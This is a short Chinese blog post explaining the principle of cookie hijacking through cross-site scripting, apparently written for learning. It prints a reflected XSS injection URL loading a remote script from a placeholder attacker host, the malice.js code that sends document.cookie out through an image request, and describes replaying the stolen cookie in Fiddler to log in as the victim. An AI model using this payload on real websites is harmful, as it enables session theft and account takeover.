程序员

说说劫持 Cookie 的原理

2019-04-06  本文已影响31人  deniro

完成具体功能的恶意脚本(javaScript、Flash 等)称为 XSS Payload。黑客会通过这些脚本,来控制用户的浏览器。劫持 Cookie 就是一种 XSS Payload。

Cookie 中,一般加密存放着当前用户的登陆凭证。如果 Cookie 被劫持,那么黑客就可以不使用密码,直接登陆到用户的账号中。

1 窃取 Cookie

首先先在存在 XSS 漏洞的网站,加载一段远程脚本,形如:

http://www.xxx.com/xxx.html?param="><script src=http://www.malice.com/malice.js></script>

XSS Payload 写在 malice.js 中,这样就可以避免直接在 URL 参数中写入大量的脚本代码。

malice.js 内容:

var img = document.createElement("img");
img.src = "http://xxx.com/log?" + escape(document.cookie);
document.body.appendChild(img);

escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。

在此,我们动态创建了一个图片标签,并把 cookie 参数作为对象,发送给后端服务器。

这样就完成了窃取 Cookie 的整个过程。

2 利用 Cookie 登陆账户

一个网站,如果还未登录,一般在右上角有个 “登录” 链接:

假设已经得到了某个账户的 Cookie 信息,那么就可以在 Fiddler 中,模拟 Get 请求:

然后就可以成功登陆网站咯:

上一篇下一篇

猜你喜欢

热点阅读